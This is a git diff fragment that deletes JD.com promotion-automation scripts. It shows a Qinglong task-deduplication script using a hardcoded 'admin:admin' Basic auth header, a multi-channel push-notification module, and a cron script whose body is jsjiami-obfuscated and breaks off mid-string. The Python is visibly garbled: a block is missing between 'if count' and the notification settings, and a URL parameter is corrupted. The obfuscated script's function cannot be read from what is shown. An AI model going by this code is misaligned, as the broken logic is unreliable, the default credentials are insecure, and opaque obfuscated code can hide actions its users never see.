e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_delete.py b/backUp/jd_delete.py deleted file mode 100644 index fed12af..0000000 --- a/backUp/jd_delete.py +++ /dev/null @@ -1,113 +0,0 @@ -# -*- coding:utf-8 -*- -''' -cron: 0 0 0 6 * -new Env('禁用重复任务'); -''' - -import json -import os, sys -import requests -import time - -ip="localhost" - -def loadSend(): - print("加载推送功能") - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/deleteDuplicateTasksNotify.py"): - try: - from deleteDuplicateTasksNotify import send - except: - print("加载通知服务失败~") - -headers={ - "Accept": "application/json", - "Authorization": "Basic YWRtaW46YWRtaW4=", - "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", -} - -def getTaskList(): - t = round(time.time() * 1000) - url = "http://%s:5700/api/crons?searchValue=&t=%d" % (ip, t) - response = requests.get(url=url, headers=headers) - responseContent=json.loads(response.content.decode('utf-8')) - if responseContent['code']==200: - taskList= responseContent['data'] - return taskList - else: - # 没有获取到taskList,返回空 - return [] - - -def getDuplicate(taskList): - wholeNames={} - duplicateID=[] - for task in taskList: - if task['name'] in wholeNames.keys(): - duplicateID.append(task['_id']) - else: - wholeNames[task['name']] = 1 - return duplicateID - - -def getData(duplicateID): - rawData = "[" - count=0 - for id in duplicateID: - rawData += "\"%s\""%id - if count 1: - PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] - # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") -# 获取企业微信应用推送 QYWX_AM -if "QYWX_AM" in os.environ: - if len(os.environ["QYWX_AM"]) > 1: - QYWX_AM = os.environ["QYWX_AM"] - # print("已获取并使用Env环境 QYWX_AM") - -if BARK: - notify_mode.append('bark') - # print("BARK 推送打开") -if SCKEY: - notify_mode.append('sc_key') - # print("Server酱 推送打开") -if TG_BOT_TOKEN and TG_USER_ID: - notify_mode.append('telegram_bot') - # print("Telegram 推送打开") -if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: - notify_mode.append('dingding_bot') - # print("钉钉机器人 推送打开") -if QQ_SKEY and QQ_MODE: - notify_mode.append('coolpush_bot') - # print("QQ机器人 推送打开") - -if PUSH_PLUS_TOKEN: - notify_mode.append('pushplus_bot') - # print("微信推送Plus机器人 推送打开") -if QYWX_AM: - notify_mode.append('wecom_app') - # print("企业微信机器人 推送打开") - - -def message(str_msg): - global message_info - print(str_msg) - message_info = "{}\n{}".format(message_info, str_msg) - sys.stdout.flush() - -def bark(title, content): - print("\n") - if not BARK: - print("bark服务的bark_token未设置!!\n取消推送") - return - print("bark服务启动") - try: - response = requests.get( - f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() - if response['code'] == 200: - print('推送成功!') - else: - print('推送失败!') - except: - print('推送失败!') - -def serverJ(title, content): - if not SCKEY: - print("server酱服务的SCKEY未设置!!\n取消推送") - return - # print("serverJ服务启动") - data = { - "text": title, - "desp": content.replace("\n", "\n\n") - } - response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() - if response['code'] == 0: - print('推送成功!') - else: - print('推送失败!') - -# tg通知 -def telegram_bot(title, content): - try: - print("\n") - bot_token = TG_BOT_TOKEN - user_id = TG_USER_ID - if not bot_token or not user_id: - print("tg服务的bot_token或者user_id未设置!!\n取消推送") - return - print("tg服务启动") - if TG_API_HOST: - if 'http' in TG_API_HOST: - url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" - else: - url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" - else: - url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" - - headers = {'Content-Type': 'application/x-www-form-urlencoded'} - payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} - proxies = None - if TG_PROXY_IP and TG_PROXY_PORT: - proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) - proxies = {"http": proxyStr, "https": proxyStr} - try: - response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() - except: - print('推送失败!') - if response['ok']: - print('推送成功!') - else: - print('推送失败!') - except Exception as e: - print(e) - -def dingding_bot(title, content): - timestamp = str(round(time.time() * 1000)) # 时间戳 - secret_enc = DD_BOT_SECRET.encode('utf-8') - string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) - string_to_sign_enc = string_to_sign.encode('utf-8') - hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() - sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 - print('开始使用 钉钉机器人 推送消息...', end='') - url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' - headers = {'Content-Type': 'application/json;charset=utf-8'} - data = { - 'msgtype': 'text', - 'text': {'content': f'{title}\n\n{content}'} - } - response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() - if not response['errcode']: - print('推送成功!') - else: - print('推送失败!') - -def coolpush_bot(title, content): - print("\n") - if not QQ_SKEY or not QQ_MODE: - print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") - return - print("qq服务启动") - url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" - payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} - response = requests.post(url=url, params=payload).json() - if response['code'] == 0: - print('推送成功!') - else: - print('推送失败!') -# push推送 -def pushplus_bot(title, content): - try: - print("\n") - if not PUSH_PLUS_TOKEN: - print("PUSHPLUS服务的token未设置!!\n取消推送") - return - print("PUSHPLUS服务启动") - url = 'http://www.pushplus.plus/send' - data = { - "token": PUSH_PLUS_TOKEN, - "title": title, - "content": content - } - body = json.dumps(data).encode(encoding='utf-8') - headers = {'Content-Type': 'application/json'} - response = requests.post(url=url, data=body, headers=headers).json() - if response['code'] == 200: - print('推送成功!') - else: - print('推送失败!') - except Exception as e: - print(e) -# 企业微信 APP 推送 -def wecom_app(title, content): - try: - if not QYWX_AM: - print("QYWX_AM 并未设置!!\n取消推送") - return - QYWX_AM_AY = re.split(',', QYWX_AM) - if 4 < len(QYWX_AM_AY) > 5: - print("QYWX_AM 设置错误!!\n取消推送") - return - corpid = QYWX_AM_AY[0] - corpsecret = QYWX_AM_AY[1] - touser = QYWX_AM_AY[2] - agentid = QYWX_AM_AY[3] - try: - media_id = QYWX_AM_AY[4] - except: - media_id = '' - wx = WeCom(corpid, corpsecret, agentid) - # 如果没有配置 media_id 默认就以 text 方式发送 - if not media_id: - message = title + '\n\n' + content - response = wx.send_text(message, touser) - else: - response = wx.send_mpnews(title, content, media_id, touser) - if response == 'ok': - print('推送成功!') - else: - print('推送失败!错误信息如下:\n', response) - except Exception as e: - print(e) - -class WeCom: - def __init__(self, corpid, corpsecret, agentid): - self.CORPID = corpid - self.CORPSECRET = corpsecret - self.AGENTID = agentid - - def get_access_token(self): - url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' - values = {'corpid': self.CORPID, - 'corpsecret': self.CORPSECRET, - } - req = requests.post(url, params=values) - data = json.loads(req.text) - return data["access_token"] - - def send_text(self, message, touser="@all"): - send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() - send_values = { - "touser": touser, - "msgtype": "text", - "agentid": self.AGENTID, - "text": { - "content": message - }, - "safe": "0" - } - send_msges = (bytes(json.dumps(send_values), 'utf-8')) - respone = requests.post(send_url, send_msges) - respone = respone.json() - return respone["errmsg"] - - def send_mpnews(self, title, message, media_id, touser="@all"): - send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() - send_values = { - "touser": touser, - "msgtype": "mpnews", - "agentid": self.AGENTID, - "mpnews": { - "articles": [ - { - "title": title, - "thumb_media_id": media_id, - "author": "Author", - "content_source_url": "", - "content": message.replace('\n', '
'), - "digest": message - } - ] - } - } - send_msges = (bytes(json.dumps(send_values), 'utf-8')) - respone = requests.post(send_url, send_msges) - respone = respone.json() - return respone["errmsg"] - -def send(title, content): - """ - 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 - :param title: - :param content: - :return: - """ - for i in notify_mode: - if i == 'bark': - if BARK: - bark(title=title, content=content) - else: - print('未启用 bark') - continue - if i == 'sc_key': - if SCKEY: - serverJ(title=title, content=content) - else: - print('未启用 Server酱') - continue - elif i == 'dingding_bot': - if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: - dingding_bot(title=title, content=content) - else: - print('未启用 钉钉机器人') - continue - elif i == 'telegram_bot': - if TG_BOT_TOKEN and TG_USER_ID: - telegram_bot(title=title, content=content) - else: - print('未启用 telegram机器人') - continue - elif i == 'coolpush_bot': - if QQ_SKEY and QQ_MODE: - coolpush_bot(title=title, content=content) - else: - print('未启用 QQ机器人') - continue - elif i == 'pushplus_bot': - if PUSH_PLUS_TOKEN: - pushplus_bot(title=title, content=content) - else: - print('未启用 PUSHPLUS机器人') - continue - elif i == 'wecom_app': - if QYWX_AM: - wecom_app(title=title, content=content) - else: - print('未启用企业微信应用消息推送') - continue - else: - print('此类推送方式不存在') - - -def main(): - send('title', 'content') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/backUp/jd_djyyj.js b/backUp/jd_djyyj.js deleted file mode 100644 index fc29276..0000000 --- a/backUp/jd_djyyj.js +++ /dev/null @@ -1,20 +0,0 @@ -/* -tgchannel:https://t.me/Ariszy_Script -github:https://github.com/Ariszy/script -boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json - - 【Q】 -50 1 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js, tag= 电竞预言家 - - 【L】 -cron "50 1 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js,tag= 电竞预言家 - - 【S】 -电竞预言家 = type=cron,cronexp="50 1 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js - - 【R】 -电竞预言家= type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js, cronexpr="50 1 * * *", timeout=3600, enable=true -*/ -const Ariszy = '电竞预言家' -const $ = Env(Ariszy) -var _0xodi='jsjiami.com.v6',_0x5b23=[_0xodi,'McKrwrs=','w5QywrDChlg=','PifDgw==','w69aX8Ks','wqQGQ8Ki','V8ONwrtT','woBCRcKAw7YL','SMKPwrM=','5YiN5YuI5ouS5YmqNw==','EsKhw53CogQ=','Ehd0aA==','w69TXcK/Sw==','wo0lKWw3','X8Kxw4XDlA==','D1hsC1gK','RMOjwqs=','8YSooeWIpeWLmuWnoei0rTDlt7vnuYDlipDlipvovqXkuYN+','KE3CuHIX','bsOHIsOgLw==','KgfDmcORw4Y=','V8K/w5bDsAYd','wrRde8Otw5bCiABELMOjHcOVw5w/woZcw4gsJVrChMKtEU0=','PnnDkg==','wq0Ww4XDvD8=','LsOWB8KrwqM=','wos+cMKDwr8=','F8KESy3Cjw==','NAnDtMO1w5Y=','w5PCoR3Du1A=','w5dTw6lpwr0=','wqtUa8KZw64=','w6wEwprCp1Q=','SMKFwrrCoRAQ','w6Mvwr3Dn8K8','w7JxLA==','YcO5wqHCgCM=','UQbDqV7DvA==','w449wo/CoXs=','TMKxw5jDgQ==','w6vCgcKEPAs=','CEPCkX0L','ZMOgwrrCqgU=','wqPDkDVYw50=','BDvDlsKTNg==','MwLDuMOIw5Q=','w5HCosKENjw=','XnLCsitpwrAswqAZ','wo1bw4HCmMK3','woBdw5TCv8K2wrNtw61UZsKNKcO3AGzDoxgPNMK2w6vCrsKcHW7DtgB7wplIwqF0LhXDu2vDnMKOwoTCq1J/w5zCoTLDhsKiw618WhJjwobDk8KKw6XDvHIMeV1/w5hMwr4Gw44=','BMKuwq3CnjwGc8KewppgLzLCucKYCw1dEsOsXmV0CsKJamNZPMKOwoDDqMOFw7/DuMKwwpgNesOiGsKI','G0l5K0QUaA==','w7toIm7Dig==','wqJCw4vCvcK7w6tEw4E=','wrc1w63DojU=','aBzDt0Q=','w79Tw6lPw6Q=','w6d6I0fDlQ==','w61ML23DqQ==','aMKVwobDnX0=','CV3DtMOgew==','woZiwpPCjQ==','fnLCuSU=','YcOXOgjDlcO1wr0=','aDjCscOGwo0RZw==','esKyw7rDjxw=','CsKrwq5dTg==','w7LDrMO2wpw3','esOjwohcU8Kbwoc=','WsKxwrnDnXVowpzCiA==','acO7GcO9','w744wqvDrMKTD24=','w5bClcKaOTTCmg==','dcOhDQ==','wrR+w6nCl8KV','N8OpJMKEwr8=','wr1jPR9w','R8OLeHDChg==','Z8OGwr3CjDM=','JyEp','TcK1wr/DnHpowrQ=','WMO2woFzEw==','OsKESQjCqklS','OsK9w73CrQ4=','WsOtwrRVeA==','MC/DoQ==','wqcXw5rDpS/Dpg==','woAyw73Dnzw=','ZTM+woc9SC1GwqbCk8Kcw5ADwr0Pw4fCp8O7dA==','dhbCi8OjwpMwXVYSwpkaw78yw4ojR8OxOmgDDsK5Mw==','w6hvDsKUcA==','woYiw5vDgAs=','w4Y2wr/DgsKgDw==','asOewoPCuQYOTcK6wqtaCgrCq8KSGRM=','w5TDi8OEJ20=','OCDDtQ==','w4Brw7wow798fXrDpBZnB8KxJsKbw6DDpcO6w5c=','PBYnwrld','WMOAwqF6Og==','wph+aMOnw4Q=','w7VDw6Nzwok=','woM+QMK9wq8=','fMKrwobCpy8=','bxLDrUTDuQ==','wqFVFh1n','w6JCWcK+RA==','w5DCsy3Drg==','G8KTaxnCrw==','SzjCq8OZwr8=','K8KMwrBAcA==','GUJp','wqpgwrXCuAo=','dMK9w7PDpSc=','w4vDhMOLI1w=','w6tMw4Jsw5LDpsOPwpYPw70xw55SeSLDoMK2w7Erw5Fq','wqtiw63CmMKNw51Gw4ptWMKlSsOaMFbChCwuBcOlwq/Dt8OC','NxLDtFnCpcONwrHDtnLCvzJZZMKDOMKWw5Evw5k=','woNzTcKWw5A=','eRPCq8Opwo4=','wqFAacKmw7o=','Qwx1UcOW','dcKJwpVCwq4=','w6Adw7YAdA==','w6DCvjzDll8=','DcKIbjbCug==','wq5RwrRfNQ==','OMKPWQ==','woEvw77DixI=','bsOvA8Oh','w54wwrXDosKBCX3DhcOQ','VMOJwrtmKg8/','w4UjwrLCnFnDmT3DncO1WETChcK5wrTDlcOdXhQHSsOFwoLDqcODG8KLworDlMO6w5AHLcKwwqjDg8OhCsKAwpvCq8ObwovChsKXWcKADcK0wolVwpHDumpKJ8KNV01qwqnDsyc3ew==','w7scw79fJxbDjcOgwp3CnsKWWA==','CsKgw6DDjCEif8KLwrl9IDjDq8KAEw==','fmrDhcKKKATChcOhQcKeTMOaw7LDo8KUYMK1','CMO8w6nDmWt1wpjCjUZdw79hw4xtVn0=','OcK2wrg=','W0HCoMOnIw==','w4TDj8OZB3fDvQI=','esK0wrNATcOvw6nCrx7Du0FH','w5XDqMOfGW4=','5Lqn5Ym55a2Q5oi3','wp1+w6Ynwro=','w6ciw5c8ew==','wp9lw781','w6wywq3DtsKo','JsOQDsKnwpE=','w7VKw6Zuw7g=','MMKgwpg=','6Kyu5YuP6ZmS5oSk5Z2uJ8OJw5HCs8OP6Ly/5YSf5qOU5LyP5pai5YWe5ayYUuW7pOiusOmAhei9seiGr+afi+WPnOiMl+WMgsKlQRROTMKJ','wp9rw74ywrU=','w6pYWcKDVw==','w4k2wrzDog==','w6BaXA==','PsK5w5fCljg=','w7oZw50H','wo1ow4klwqo=','w6TDqMOLOX8=','w6tvasKKRA==','w47Cm8KO','WMK8wrjDl38=','w5oZw5EUfw==','IEjCpw==','woNlw6s=','FVPDocOWbMKK','w4NUDcKZfcOzwpHCgy1jw7cdw43DgWjCksK+QsOSdMKqIMKTFsK5w67CqsO9LmvClMK2NA==','WsKgw5jCmxlBScKzX8K0wr1M','w4ItwqzDt8KhRzPCh8OEN8KUA8OrelbDisOcwpwwasKqw7zDnlzDjsOuB8OUw4Z7CMKew73Cq8Oj','cRXCpMOgwoo=','w53DqsO7wowT','wqoxYcKUwrw=','asKJw7zDtDU=','wqAMU8KTwqd+Fg==','w5VaS8KTw6oWRQLDgDzCg8KN','cWTCmy9p','woF+w6AZwoo=','5ayv5oq65oiQ5aSF','Vw1+e8Ob','w4vCl8KTHSw=','JnDCrVAv','MsKswrB/fg==','wrdXwprCiQ4=','w6ggwqHCkmc=','w5fCvTfDrg==','w5jCnMKYIwg=','woleVcKFw7Y=','S8Kxw4PDhhE=','wqZWHw==','wrpfwrlO','W2nCmgtr','wqtrw4ktwoE=','NQ3DgsOcw7E=','w5BHPsKRcg==','ICvDp8KNOg==','FVPDoQ==','woh+wpA=','dwhXbg==','w7ZPw5dnwqo=','wqN/Mj5k','w6RBT8K5UA7ClHE/wppkw6dCwp5PWn/DncKMw5NkIjXDjw==','DMKAwqxe','wppKCi1N','w6/Cgy/DtUE=','w4JvwqNjwos=','woRvw6kxw71pcGDDuVw=','wqsiF00OM10hCSjDh8OzHjYPLsKCLsOmEGbCtGrCicO3w4rDi1fCtsK9Ez4i','f8Ojwq5CDw==','dsK8PUlV','w746w7sJXQ==','WcOqwrZkNA==','5LuA5Ymx5YOr5ay5','NMKmw6PChjANw6scBXLChz00RCwVw4hPIkc3w5JDw4LDkjrCvmdSLMKOwrYww5Mwwq1DwrvClRYlS1zDmmDDphDCnMKVECdswonDolYIBnZrw6IGRDVw','wpTCl8KewosgSSzDgsK6WUMM','wo8vwqxBw77DhcO5wrMuw4YYw4VnTBTCicOTw6M=','O8KiSMO0DsKOL8KhSUxgT2nDiX/Cqh0xDT4JW3LCrMOyw7rDgGUWwoEqE8KNwoIXFMKW','Ph/Dq1fDo8OXwoTDvGnDtWgO','w4how710','w51iw7xTw7g=','w4/DhcOK','w63CtQfDvns=','CEVgGn4NbHzChA==','wotrw7gg','TcK0GQ==','5YKG5LuS5Yqu','bxLDrUQ=','BsONDcKxwps=','wpd/woPCqRg=','KMOKAMKYwpE=','w5fCpzfDsg==','MMKgwphPCEo=','asO6GMO8EMKA','R8OlwrbCryw=','wrNKLRBW','wph6wqRvMQ==','w5XDkMOEwrME','ByNjfsKL','w5tcU8KbSg==','TsOSX0LCgg==','TcOdJcOUPw==','WsK+w6HDsDw=','DMKOw6vChiU=','wpEafcKIwpQ=','w6HCjsKiIzg=','wqMXC1ES','NkB3LGA=','wrFEwqlbNV/CicKGwovDncObVMO1wojDr8Kzw5Q6a216w4TDlsKICcOUwrHCqFpVRkrCgcKJIWPDq1p4YCcqw7RDwrIeHzzCvcK7eTPCjRFPwp7CllZew6M=','wpbDvCs=','OD1ObcKK','CRohwq9b','acK9NGB1','w5fCszbDqU8=','CWLCiVE0','YQ9Law==','w5Zmw6Nl','5Lqv5ZyM56qj54+p5pei6ZWk5YW177+26K6z5ZykwqgK54Ce5Lu55YmK6Lys6KOe','MBpJWsKO','fR9WZMObTg==','w5A7wrvCoVc=','Izlmb8Kv','CcKXwrpBaQ==','w5c6wqPCnlw=','wp3Dtjg=','woFrw6Ek','6KyW5YuS6Zir5oeZ5Z+6w4xhw713e+i9v+WFoeajm+S+geaUrOWFgOWvh3DluqDorbvpgoXovIDoh6nmnZ/ljpzojKXlj6t7wp5GwqdtIg==','UMK1wqJpwos=','UjvDrEPDuw==','EmlGHWc=','w7PCszfDsWtWwqM=','OMK5wqhG','TBLDt1vDi8OLwqI=','w5QmwrHCnQ==','TcOvGcO+P8KVEA==','wrQZw4fDqyjDt8KiDg==','wrtrw78qwpF6bg==','WsOjwohcW8KN','wr9hQcKSw6s=','T2jCiAdh','ZMOnwpzCrSA=','YcKPwqbChAE=','ZcOybg==','ZMOubg==','OMKlw7Q=','cwt8Z8OC','dcOrBMOyCsKP','wonDtzhrw4c=','w5DClcKHNhLCkw==','w4vCvSM=','aRRfVMON','6Zu25pyG5Y2Q5YWpLeS7kuWLo+WIo+egjWbotI/ljow=','TQDDoULDhMOYwr3DoA==','5Y635bG+5Yic5YiV44GW','LMO1KcKPwoM=','QhZpVcOi','ZsK8FkFE','w7J7JXnDrzE=','wogGRsKEwrc=','dG7Cky9kwrA=','w45VNsKmYQ==','wqQlPXQd','MsKuwpJv','IVTCpw==','wrBYRMOOw5A=','bDzClcOPwqo=','bmnCryluwrI=','6K2T5Yqs6ZmN5oe65ZyVwqYxw43DlkXovrblh43mopXkvLXmlpXlhb7lroFr5bqT6K6H6YKr6Lys6Iac5p6B5Y+p6I2Y5Y2hw5TDvcOeATTCvA==','w6rClzzDgng=','McK8wpg=','w6UQwpvDvcKi','SMOwwpRa','w7LCsRDDrV0=','wqA7IGcu','w7XDjcO0GE8=','wq5ew5sDwoE=','b8OkfUbCicOIw4A=','Y8OAWWTCtA==','e8K7wrlZwqxwwpB/w5nCjSt0w63Dvih8TQ==','JnrCkHEW','w48SwpLCg2k=','MsKzw6fCojtew7wc','w408wqzDg8KzCXk=','wqZlw6fCusKc','woTDjAp0w7E=','e8Ohwq9AZQ==','cMOVwr1DIg==','PVrCsnQn','U8OkEzfDhw==','wq55wq9MAg==','wp9QfcOsw4Q=','wpRTUMKgw6oVdA==','HTdQf8K2','H8Khwq5WRQ==','Ty3CsMOEwqIEfH87','w4vCh8KnPRnCmw==','w4siwoTCjTfDsVkxHcO6w5bCng==','NcK8wrFlHl0=','CsOPwr7CoicXHW/DpcK+wo1tdg==','w51xJHXDsjzCgyA=','X8KxwqJmwqx4wr9BwoQ=','Kl7CtGMjL8O6','wqZiwpjCgzDDsGQULQ==','wqkZw4U=','w69aVMKiSlE=','HlnDssOlf8KU','MsKzw6fCuz1dw60=','w7l7P0rDsjTCrA==','GcO8EsKkwp1uw6V5w5AV','w7l7P1bDtCzCuxc=','wqw9FWQGM1Q=','w7xASMKh','KFXCtg==','wpTDtyk=','w4tiw6JTw7g=','w6k2wrfDrMK7GFbDrA==','UsOTPQfDtcOzwq4=','dsOZJgjDvcOiwoXCoMO2','XsK/woTDmnE=','e8K7wrlpwqRpwpQ=','wqxlw6Mqwrltb0PDiw==','E8O4Fg==','PsKOUgfColg=','w69lb8KLRA==','EUjDssOjbcOCZcKXbi9IFTnDvMOMwpvCnsOow6VvFcKCJh7DqDjClAzDocOaP8OIacK2w7oLw4rDscOjw6DDn0pp','5Luo5Zyl56ip54+05pav6ZWh5YaS772f6K6e5Z67woHDn+eDt+S4oOWLu+i/kuiiig==','cMKkwpjDiEk=','wp5yKTdf','QcKowpHDiHE=','T8KYwo7Ctg4=','w4bDjsOPwpc=','woJ5w6s=','fxtVZg==','wrJEZMOlw44=','w5ZNIUTDrg==','w7tnUcKLaA==','wrtMe8OVw4rDh10Y','wpzDqjg=','eQrCp8OXwoM=','GhNubsKWwrk=','cMKrwoXCpCU=','PsKswrVnMg==','BzvDgcKbEgzCnsOt','w5vDmsOIwpwp','wohew6jCucK1w6dg','WsOCwqtXOw==','dcOvJ8ONMA==','cXLCug==','FzfDt2oqw79M5b+k5aeg44GF5LqQ5LqD6LWi5Y+N','R8Oswp9Sag==','QMOrwphcXMKIwpg6','w78qwr3DtcKcHHHDjQ==','w7YDJcK3wo/CmAVBZ8KZ','IyECwoF1VSI=','GBdtbA==','44OX5o6556Sd44OWwq18HMOrw6nDp+W2n+WljOaUoA==','5LuS5LqF6LWA5Yye','w6QWw5AWaQ==','wrRew4HCpMKcw69jw6A=','NcKVSRzCuAccw5bChsO7M8KuPMOSwrHDqW8Mw4FCwpdVwqDCk1rCscO0w5/DnsKRHzUswrTDigYmZsOcwofDo2fCjA==','asOrBMOxMMKIFsKpX0U=','c3zCsCU=','w45sw6FLw7TDlOW1ouWntOaUj8KSTMKh','wqTDqjpOw6vCqcOOVg==','w4vCmsKNNwU=','ccKTwrHCtCoZH2E=','w4Edwo7Cu28=','w5XCpcKrNwg=','w5RGw6lLw5U=','bMKXwoLDqX4=','aMOFwrJmdw==','BinDl8KCHR/CgQ==','CV3DtMO2cMKMA8Oc','wpAZw4bDpQfDscKZ','bBLDt1vDg8Od','woNvw6ImwqRg','w7fCh8KMIDPCnyoS','w6d6X8KNdg==','MMKASQ/Cow==','w47Di8OZMHY=','NcKrwpBIQ8Oow5M=','SMK1GlR0','wqYzK